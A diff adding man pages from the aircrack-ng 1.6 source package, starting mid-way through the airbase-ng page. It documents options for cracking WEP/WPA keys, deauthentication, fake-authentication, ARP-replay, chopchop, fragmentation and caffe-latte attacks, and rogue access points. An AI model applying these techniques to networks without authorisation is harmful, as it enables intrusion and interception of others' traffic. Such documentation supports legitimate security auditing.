+This is used to specify the channel on which to run the Access Point.
+.TP
+.I -X, --hidden
+This causes the Access Point to hide the SSID and to not broadcast the value.
+.TP
+.I -s
+When specfiied, this forces shared key authentication for all clients. 
+
+The soft AP will send an "authentication method unsupported" rejection to any open system authentication request if "-s" is specified.
+.TP
+.I -S
+It sets the shared key challenge length, which can be anything from 16 to 1480. The default is 128 bytes. It is the number of bytes used in the random challenge. Since one tag can contain a maximum size of 255 bytes, any value above 255 creates several challenge tags until all specified bytes are written. Many clients ignore values different than 128 bytes so this option may not always work.
+.TP
+.I -L, --caffe-latte
+Airbase-ng also contains the new caffe-latte attack, which is also implemented in aireplay-ng as attack "-6". It can be used with "-L" or "caffe-latte". This attack specifically works against clients, as it waits for a broadcast arp request, which happens to be a gratuitous arp. See this for an explanation of what a gratuitous arp is. It then flips a few bits in the sender MAC and IP, corrects the ICV (crc32) value and sends it back to the client, where it came from. The point why this attack works in practice is, that at least windows sends gratuitous arps after a connection on layer 2 is established and a static ip is set, or dhcp fails and windows assigned an IP out of 169.254.X.X. 
+
+"-x <pps>" sets the number of packets per second to send when performing the caffe-latte attack. At the moment, this attack doesn\(aqt stop, it continuously sends arp requests. Airodump-ng is needed to capture the replies.
+.TP
+.I -N, --cfrag
+This attack listens for an ARP request or IP packet from the client. Once one is received, a small amount of PRGA is extracted and then used to create an ARP request packet targeted to the client. This ARP request is actually made of up of multiple packet fragments such that when received, the client will respond. 
+
+This attack works especially well against ad-hoc networks. As well it can be used against softAP clients and normal AP clients.
+.TP
+.I -x <nbpps>
+This sets the number of packets per second that packets will be sent (default: 100).
+.TP
+.I -y
+When using this option, the fake AP will not respond to broadcast probes. A broadcast probe is where the specific AP is not identified uniquely. Typically, most APs will respond with probe responses to a broadcast probe. This flag will prevent this happening. It will only respond when the specific AP is uniquely requested.
+.TP
+.I -0
+This enables all WPA/WPA2/WEP Tags to be enabled in the beacons sent. It cannot be specified when also using -z or -Z.
+.TP
+.I -z <type>
+This specifies the WPA beacon tags. The valid values are: 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104.
+.TP
+.I -Z <type>
+same as -z, but for WPA2
+.TP
+.I -V <type>
+This specifies the valid EAPOL types. The valid values are: 1=MD5 2=SHA1 3=auto 
+.TP
+.I -F <prefix>
+This option causes airbase-ng to write all sent and received packets to a pcap file on disk. This is the file prefix (like airodump-ng -w).
+.TP
+.I -P
+This causes the fake access point to respond to all probes regardless of the ESSIDs specified.
+.TP
+.I -I <interval>
+This sets the time in milliseconds between each beacon.
+.TP
+.I -C <seconds>
+The wildcard ESSIDs will also be beaconed this number of seconds. A good typical value to use is "-C 60" (require -P).
+.TP
+.I -n <hex>
+ANonce (nonce from the AP) to use instead of a randomized one. It must be 64 hexadecimal characters.
+.PP
+.TP
+.B Filter options:
+.TP
+.I --bssid <MAC>, -b <MAC>
+BSSID to filter/use.
+.TP
+.I --bssids <file>, -B <file>
+Read a list of BSSIDs out of that file.
+.TP
+.I --client <MAC>, -d <MAC>
+MAC of client to accept.
+.TP
+.I --clients <file>, -D <file>
+Read a list of client\(aqs MACs out of that file.
+.TP
+.I --essid <ESSID>, -e <ESSID>
+Specify a single ESSID. For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
+.TP
+.I --essids <file>, -E <file>
+Read a list of ESSIDs out of that file. It will use the same BSSID for all AP which can generate some interesting output in Airodump-ng like: http://www.chimplabs.com/blog/2015/09/24/unintentional-fun-with-aircrack-ng-at-derbycon-5-0/
+.SH AUTHOR
+This manual page was written by Thomas d\(aqOtreppe.
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.PP
+.SH SEE ALSO
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/aircrack-ng.1.in Added

@@ -0,0 +1,211 @@
+.TH AIRCRACK-NG 1 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+aircrack-ng - a 802.11 WEP / WPA-PSK key cracker
+.SH SYNOPSIS
+.B aircrack-ng
+[options] <input file(s)>
+.SH DESCRIPTION
+.BI aircrack-ng
+is an 802.11 WEP, 802.11i WPA/WPA2, and 802.11w WPA2 key cracking program.
+.PP
+It can recover the WEP key once enough encrypted packets have been captured with airodump-ng. This part of the aircrack-ng suite determines the WEP key using two fundamental methods. The first method is via the PTW approach (Pyshkin, Tews, Weinmann). The main advantage of the PTW approach is that very few data packets are required to crack the WEP key. The second method is the FMS/KoreK method. The FMS/KoreK method incorporates various statistical attacks to discover the WEP key and uses these in combination with brute forcing.
+.PP
+Additionally, the program offers a dictionary method for determining the WEP key. For cracking WPA/WPA2 pre-shared keys, a wordlist (file or stdin) or an airolib-ng has to be used.
+.SH INPUT FILES
+.TP
+Capture files (.cap, .pcap), IVS (.ivs) or Hashcat HCCAPX files (.hccapx)
+.SH OPTIONS
+.TP
+.B Common options:
+.TP
+.I -a <amode>
+Force the attack mode: 1 or wep for WEP (802.11) and 2 or wpa for WPA/WPA2 PSK (802.11i and 802.11w).
+.TP
+.I -e <essid>
+Select the target network based on the ESSID. This option is also required for WPA cracking if the SSID is cloaked. For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
+.TP
+.I -b <bssid> or --bssid <bssid>
+Select the target network based on the access point MAC address.
+.TP
+.I -p <nbcpu>
+Set this option to the number of CPUs to use (only available on SMP systems) for cracking the key/passphrase. By default, it uses all available CPUs
+.TP
+.I -q
+If set, no status information is displayed.
+.TP
+.I -C <macs> or --combine <macs>
+Merges all those APs MAC (separated by a comma) into a virtual one.
+.TP
+.I -l <file>
+Write the key into a file. Overwrites the file if it already exists.
+.PP
+.TP
+.B Static WEP cracking options:
+.TP
+.I -c
+Search alpha-numeric characters only.
+.TP
+.I -t
+Search binary coded decimal characters only.
+.TP
+.I -h
+Search the numeric key for Fritz!BOX
+.TP
+.I -d <mask> or --debug <mask>
+Specify mask of the key. For example: A1:XX:CF
+.TP
+.I -m <maddr>
+Only keep the IVs coming from packets that match this MAC address. Alternatively, use \-m ff:ff:ff:ff:ff:ff to use all and every IVs, regardless of the network (this disables ESSID and BSSID filtering).
+.TP
+.I -n <nbits>
+Specify the length of the key: 64 for 40-bit WEP, 128 for 104-bit WEP, etc., until 512 bits of length. The default value is 128.
+.TP
+.I -i <index>
+Only keep the IVs that have this key index (1 to 4). The default behavior is to ignore the key index in the packet, and use the IV regardless.
+.TP
+.I -f <fudge>
+By default, this parameter is set to 2. Use a higher value to increase the bruteforce level: cracking will take more time, but with a higher likelihood of success.
+.TP
+.I -k <korek>
+There are 17 KoreK attacks. Sometimes one attack creates a huge false positive that prevents the key from being found, even with lots of IVs. Try \-k 1, \-k 2, ... \-k 17 to disable each attack selectively.
+.TP
+.I -x or -x0
+Disable last keybytes bruteforce (not advised).
+.TP
+.I -x1
+Enable last keybyte bruteforcing (default)
+.TP
+.I -x2
+Enable last two keybytes bruteforcing.
+.TP
+.I -X
+Disable bruteforce multithreading (SMP only).
+.TP
+.I -s
+Shows ASCII version of the key at the right of the screen.
+.TP
+.I -y
+This is an experimental single brute-force attack which should only be used when the standard attack mode fails with more than one million IVs.
+.TP
+.I -z
+Uses PTW (Andrei Pyshkin, Erik Tews and Ralf-Philipp Weinmann) attack (default attack).
+.TP
+.I -P <num> or --ptw-debug <num>
+PTW debug: 1 Disable klein, 2 PTW.
+.TP
+.I -K
+Use KoreK attacks instead of PTW.
+.TP
+.I -D or --wep-decloak
+WEP decloak mode.
+.TP
+.I -1 or --oneshot
+Run only 1 try to crack key with PTW.
+.TP
+.I -M <num>
+Specify maximum number of IVs to use.
+.TP
+.I -V or --visual-inspection
+Run in visual inspection mode. Can only be used when using KoreK.
+.PP
+.TP
+.B WEP and WPA-PSK cracking options
+.TP
+.I -w <words>
+Path to a dictionary file for wpa cracking. Separate filenames with comma when using multiple dictionaries. Specify "-" to use stdin. Here is a list of wordlists: https://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists
+In order to use a dictionary with hexadecimal values, prefix the dictionary with "h:". Each byte in each key must be separated by ':'. When using with WEP, key length should be specified using -n.
+.TP
+.I -N <file> or --new-session <file>
+Create a new cracking session. It allows one to interrupt cracking session and restart at a later time (using -R or --restore-session). Status files are saved every 5 minutes. It does not overwrite existing session file.
+.TP
+.I -R <file> or --restore-session <file>
+Restore and continue a previously saved cracking session. This parameter is to be used alone, no other parameter should be specified when starting aircrack-ng (all the required information is in the session file).
+.PP
+.TP
+.B WPA-PSK options:
+.TP
+.I -E <file>
+Create Elcomsoft Wireless Security Auditor (EWSA) Project file v3.02.
+.TP
+.I -j <file>
+Create Hashcat v3.6+ Capture file (HCCAPX).
+.TP
+.I -J <file>
+Create Hashcat Capture file (HCCAP).
+.TP
+.I -S
+WPA cracking speed test.
+.TP
+.I -Z <sec>
+WPA cracking speed test execution length in seconds.
+.TP
+.I -r <database>
+Path to the airolib-ng database. Cannot be used with \(aq-w\(aq.
+.PP
+.TP
+.B SIMD selection:
+.TP
+.I --simd=<option>
+Aircrack-ng automatically loads and uses the fastest optimization based on instructions available for your CPU. This options allows one to force another optimization. Choices depend on the CPU and the following are all the possibilities that may be compiled regardless of the CPU type: generic, sse2, avx, avx2, avx512, neon, asimd, altivec, power8.
+.TP
+.I --simd-list
+Shows a list of the available SIMD architectures, separated by a space character. Aircrack-ng automatically selects the fastest optimization and thus it is rarely needed to use this option. Use case would be for testing purposes or when a "lower" optimization, such as "generic", is faster than the automatically selected one. Before forcing a SIMD architecture, verify that the instruction is supported by your CPU, using \-u.
+.PP
+.TP
+.B Other options:
+.TP
+.I -H or --help
+Show help screen
+.TP
+.I -u or --cpu-detect
+Provide information on the number of CPUs and SIMD support
+.SH AUTHOR
+This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/airdecap-ng.1.in Added

@@ -0,0 +1,89 @@
+.TH AIRDECAP-NG 1 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+airdecap-ng - decrypt a WEP/WPA crypted pcap file
+.SH SYNOPSIS
+.B airdecap-ng
+[options] <pcap file>
+.SH DESCRIPTION
+.BI airdecap-ng
+decrypts a WEP/WPA crypted pcap file to a unencrypted one by using the right WEP/WPA keys.
+.SH OPTIONS
+.TP
+.I -H, --help
+Shows the help screen.
+.TP
+.I -l
+Do not remove the 802.11 header.
+.TP
+.I -b <bssid>
+Access point MAC address filter.
+.TP
+.I -k <pmk>
+WPA Pairwise Master Key in hex.
+.TP
+.I -e <essid>
+Target network SSID. For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
+.TP
+.I -p <pass>
+Target network WPA passphrase.
+.TP
+.I -w <key>
+Target network WEP key in hex.
+.SH EXAMPLES
+airdecap-ng \-b 00:09:5B:10:BC:5A open-network.cap
+.br
+airdecap-ng \-w 11A3E229084349BC25D97E2939 wep.cap
+.br
+airdecap-ng \-e my_essid \-p my_passphrase tkip.cap
+.br
+.SH AUTHOR
+This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)
+

aircrack-ng-1.6.tar.gz/manpages/airdecloak-ng.1.in Added

@@ -0,0 +1,114 @@
+.TH AIRDECLOAK-NG 1 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+airuncloak-ng - Removes wep cloaked framed from a pcap file.
+.SH SYNOPSIS
+.B airuncloak-ng
+<options>
+.SH DESCRIPTION
+.BI airuncloak-ng
+is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) can actively "prevent" cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff.
+
+The program works by reading the input file and selecting packets from a specific network.
+Each selected packet is put into a list and classified (default status is "unknown"). Filters are then applied (in the order specified by the user) on this list. They will change the status of the packets (unknown, uncloaked, potentially cloaked or cloaked).
+The order of the filters is really important since each filter will base its analysis amongst other things on the status of the packets and different orders will give different results.
+
+Important requirement: The pcap file needs to have all packets (including beacons and all other "useless" packets) for the analysis (and if possible, prism/radiotap headers).
+.SH OPTIONS
+.PP
+.TP
+.I -h, --help
+Shows the help screen.
+.TP
+.I -i <file>
+Path to the capture file.
+.TP
+.I --ssid <ESSID>
+Essid of the network (not yet implemented) to filter.
+.TP
+.I --bssid <BSSID>
+BSSID of the network to filter.
+.TP
+.I --null-packets
+Assume that null packets can be cloaked.
+.TP
+.I --disable-base-filter
+Do not apply base filter.
+.TP
+.I --drop-frag
+Drop fragmented packets.
+.TP
+.I --filters <filters>
+Apply different filters (separated by a comma). See below.
+.SH FILTERS
+.PP
+.TP
+.I signal
+Try to filter based on signal (prism or radiotap headers in the pcap file).
+.TP
+.I duplicate_sn
+Remove all duplicate sequence numbers for both the AP and the client (that are close to each other).
+.TP
+.I duplicate_sn_ap
+Remove duplicate sequence number for the AP only (that are close to each other).
+.TP
+.I duplicate_sn_client
+Remove duplicate sequence number for the client only (that are close to each other).
+.TP
+.I consecutive_sn
+Filter based on the fact that IV should be consecutive (only for AP).
+.TP
+.I duplicate_iv
+Filter out all duplicate IV.
+.TP
+.I signal_dup_consec_sn
+Use signal (if available), duplicate and consecutive sequence number (filtering is much more precise than using all these filters one by one).
+.SH AUTHOR
+This manual page was written by Thomas d\(aqOtreppe.
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/aireplay-ng.8.in Added

@@ -0,0 +1,256 @@
+.TH AIREPLAY-NG 8 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+aireplay-ng - inject packets into a wireless network to generate traffic
+.SH SYNOPSIS
+.B aireplay-ng
+[options] <replay interface>
+.SH DESCRIPTION
+.B aireplay-ng
+is used to inject/replay frames.
+The primary function is to generate traffic for the later use in aircrack-ng for cracking the WEP and WPA-PSK keys. There are different attacks which can cause deauthentications for the purpose of capturing WPA handshake data, fake authentications, Interactive packet replay, hand-crafted ARP request injection and ARP-request reinjection. With the packetforge-ng tool it\(aqs possible to create arbitrary frames.
+.br
+.PP
+.B aireplay-ng
+supports single-NIC injection/monitor.
+.PP
+This feature needs driver patching.
+.PP
+.SH OPTIONS
+.TP
+.I -H, --help
+Shows the help screen.
+.PP
+.TP
+.B Filter options:
+.TP
+.I -b <bssid>
+MAC address of access point.
+.TP
+.I -d <dmac>
+MAC address of destination.
+.TP
+.I -s <smac>
+MAC address of source.
+.TP
+.I -m <len>
+Minimum packet length.
+.TP
+.I -n <len>
+Maximum packet length.
+.TP
+.I -u <type>
+Frame control, type field.
+.TP
+.I -v <subt>
+Frame control, subtype field.
+.TP
+.I -t <tods>
+Frame control, "To" DS bit (0 or 1).
+.TP
+.I -f <fromds>
+Frame control, "From" DS bit (0 or 1).
+.TP
+.I -w <iswep>
+Frame control, WEP bit (0 or 1).
+.TP
+.I -D 
+Disable AP Detection.
+.PP
+.TP
+.B Replay options:
+.TP
+.I -x <nbpps>
+Number of packets per second.
+.TP
+.I -p <fctrl>
+Set frame control word (hex).
+.TP
+.I -a <bssid>
+Set Access Point MAC address.
+.TP
+.I -c <dmac>
+Set destination MAC address.
+.TP
+.I -h <smac>
+Set source MAC address.
+.TP
+.I -g <nb_packets>
+Change ring buffer size (default: 8 packets). The minimum is 1.
+.TP
+.I -F
+Choose first matching packet.
+.TP
+.I -e <essid>
+Fake Authentication attack: Set target SSID (see below). For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
+.TP
+.I -o <npackets>
+Fake Authentication attack: Set the number of packets for every authentication and association attempt (Default: 1). 0 means auto
+.TP
+.I -q <seconds>
+Fake Authentication attack: Set the time between keep-alive packets in fake authentication mode.
+.TP
+.I -Q
+Fake Authentication attack: Sends reassociation requests instead of performing a complete authentication and association after each delay period.
+.TP
+.I -y <prga>
+Fake Authentication attack: Specifies the keystream file for fake shared key authentication.
+.TP
+.I -T n
+Fake Authentication attack: Exit if fake authentication fails \(aqn\(aq time(s).
+.TP
+.I -j
+ARP Replay attack : inject FromDS packets (see below).
+.TP
+.I -k <IP>
+Fragmentation attack: Set destination IP in fragments.
+.TP
+.I -l <IP>
+Fragmentation attack: Set source IP in fragments.
+.TP
+.I -B
+Test option: bitrate test.
+.PP
+.TP
+.B Source options:
+.TP
+.I -i <iface>
+Capture packets from this interface.
+.TP
+.I -r <file>
+Extract packets from this pcap file.
+.PP
+.TP
+.B Miscellaneous options:
+.TP
+.I -R
+disable /dev/rtc usage.
+.PP
+.I --ignore-negative-one
+if the interface\(aqs channel can\(aqt be determined ignore the mismatch, needed for unpatched cfg80211
+.PP
+.I --deauth-rc <rc>, -Z <rc>
+Provide a reason code when doing deauthication (between 0 and 255). By default, 7 is used: Class 3 frame received from unassociated STA. 0 is a reserved value. Reason codes explanations can be found in the IEEE802.11 standard or in https://mrncciew.com/2014/10/11/802-11-mgmt-deauth-disassociation-frames/
+.PP
+.TP
+.B Attack modes:          
+.TP
+.I -0 <count>, --deauth=<count>
+This attack sends deauthentication packets to one or more clients which are currently associated with a particular access point. Deauthenticating clients can be done for a number of reasons: 
+Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is "cloaked" or
+Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate or
+Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected).
+Of course, this attack is totally useless if there are no associated wireless client or on fake authentications.
+.TP
+.I -1 <delay>, --fakeauth=<delay>
+The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points.
+.TP
+.I -2, --interactive
+This attack allows you to choose a specific packet for replaying (injecting). The attack can obtain packets to replay from two sources. The first being a live flow of packets from your wireless card. The second being from a pcap file. Reading from a file is an often overlooked feature of aireplay-ng. This allows you read packets from other capture sessions or quite often, various attacks generate pcap files for easy reuse. A common use of reading a file containing a packet your created with packetforge-ng.
+.TP
+.I -3, --arpreplay
+The classic ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably. The program listens for an ARP packet then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs which allow you to determine the WEP key.
+.TP
+.I -4, --chopchop
+This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet.
+.TP
+.I -5, --fragment
+This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack.
+.TP
+.I -6, --caffe-latte
+In general, for an attack to work, the attacker has to be in the range of an AP and a connected client (fake or real). Caffe Latte attacks allows one to gather enough packets to crack a WEP key without the need of an AP, it just need a client to be in range.
+.TP
+.I -7, --cfrag
+This attack turns IP or ARP packets from a client into ARP request against the client. This attack works especially well against ad-hoc networks. As well it can be used against softAP clients and normal AP clients.
+.TP
+.I -8, --migmode
+This attack works against Cisco Aironet access points configured in WPA Migration Mode, which enables both WPA and WEP clients to associate to an access point using the same Service Set Identifier (SSID).  The program listens for a WEP-encapsulated broadcast ARP packet, bitflips it to make it into an ARP coming from the attacker\(aqs MAC address and retransmits it to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV and also to forward the ARP reply to the attacker with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IV as does the ARP reply forwarded to the attacker by the access point. It is all these new IVs which allow you to determine the WEP key.
+.TP
+.I -9, --test
+Tests injection and quality.
+.SH FRAGMENTATION VERSUS CHOPCHOP
+.PP
+.PP
+.B Fragmentation:
+.TP
+.PP
+.I Pros
+.br
+- Can obtain the full packet length of 1500 bytes XOR. This means you can subsequently pretty well create any size of packet.
+.br
+- May work where chopchop does not
+.br
+- Is extremely fast. It yields the XOR stream extremely quickly when successful.
+.TP
+.PP
+.I Cons
+.br
+- Setup to execute the attack is more subject to the device drivers. For example, Atheros does not generate the correct packets unless the wireless card is set to the mac address you are spoofing.
+.br
+- You need to be physically closer to the access point since if any packets are lost then the attack fails.
+.PP
+.B Chopchop
+.TP
+.PP
+.I Pro
+.br
+- May work where frag does not work.
+.TP
+.PP
+.I Cons
+.br
+- Cannot be used against every access point.
+.br
+- The maximum XOR bits is limited to the length of the packet you chopchop against.
+.br
+- Much slower then the fragmentation attack.
+.br
+.SH AUTHOR
+This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B airmon-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)
+.br
+.B airventriloquist(8)

aircrack-ng-1.6.tar.gz/manpages/airmon-ng.8.in Added

@@ -0,0 +1,87 @@
+.TH AIRMON-NG 8 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+airmon-ng - POSIX sh script designed to turn wireless cards into monitor mode.
+.SH SYNOPSIS
+.B airmon-ng
+<start|stop> <interface> [channel]
+.B airmon-ng
+<check> [kill]
+.SH DESCRIPTION
+.BI airmon-ng
+This script can be used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode. Entering the airmon-ng command without parameters will show the interfaces status. 
+It can also list/kill programs that can interfere with the wireless card operation.
+.SH OPTIONAL PARAMETERS
+.PP
+.TP
+.I start <interface> [channel]
+Enable monitor mode on an interface (and specify a channel). Note: Madwifi-ng is a special case, \(aqstart\(aq has to be used on wifi interfaces and \(aqstop\(aq on ath interfaces.
+.TP
+.I stop <interface>
+Disable monitor mode and go back to managed mode (except for madwifi-ng where it kills the ath VAP).
+.TP
+.I check [kill]
+List all possible programs that could interfere with the wireless card. If \(aqkill\(aq is specified, it will try to kill all of them.
+.TP
+.I --verbose
+This flag must precede start/stop/check and can be combined with other parameters or used alone. 
+This flag will increase the verbosity to provide additional useful information which may not be needed for normal operation.
+.TP
+.I --debug
+This flag must precede start/stop/check and can be combined with other parameters or used alone. 
+This flag will increase the verbosity to debug level to assist in troubleshooting errors in airmon-ng. Use this flag when opening a bug, but only use --verbose when requesting support in irc.
+.TP
+.I --elite
+WARNING: DO NOT USE: This flag must precede start or stop and will prevent airmon-ng from removing interfaces. 
+WARNING: Use of this flag will immediately disqualify receiving any support from the aircrack-ng team, due to the fact that this behavior is known to be broken. WARNING!
+
+.SH AUTHOR
+This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
+And modified to fit airmon-ng by David Francos Cuartero <xayon@xayon.net>.
+Most recently modified by Zero_Chaos to update for the airmon-zc rewrite.
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+
+.SH SEE ALSO
+.br
+.B airbase-ng(8)
+.br
+.B aireplay-ng(8)
+.br
+.B airodump-ng(8)
+.br
+.B airodump-ng-oui-update(8)
+.br
+.B airserv-ng(8)
+.br
+.B airtun-ng(8)
+.br
+.B besside-ng(8)
+.br
+.B easside-ng(8)
+.br
+.B tkiptun-ng(8)
+.br
+.B wesside-ng(8)
+.br
+.B aircrack-ng(1)
+.br
+.B airdecap-ng(1)
+.br
+.B airdecloak-ng(1)
+.br
+.B airolib-ng(1)
+.br
+.B besside-ng-crawler(1)
+.br
+.B buddy-ng(1)
+.br
+.B ivstools(1)
+.br
+.B kstats(1)
+.br
+.B makeivs-ng(1)
+.br
+.B packetforge-ng(1)
+.br
+.B wpaclean(1)

aircrack-ng-1.6.tar.gz/manpages/airodump-ng-oui-update.8.in Added

@@ -0,0 +1,63 @@
+.TH AIRODUMP-NG-OUI-UPDATE 8 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+airodump-ng-oui-updater - IEEE oui list updater for airodump-ng
+
+.SH SYNOPSIS
+.B airodump-ng-oui-updater
+
+.SH DESCRIPTION
+.BI airodump-ng-oui-updater
+downloads and parses IEEE OUI list.
+
+.SH AUTHOR
+This manual page was written by David Francos Cuartero.
+Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
+On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
+
+.PP
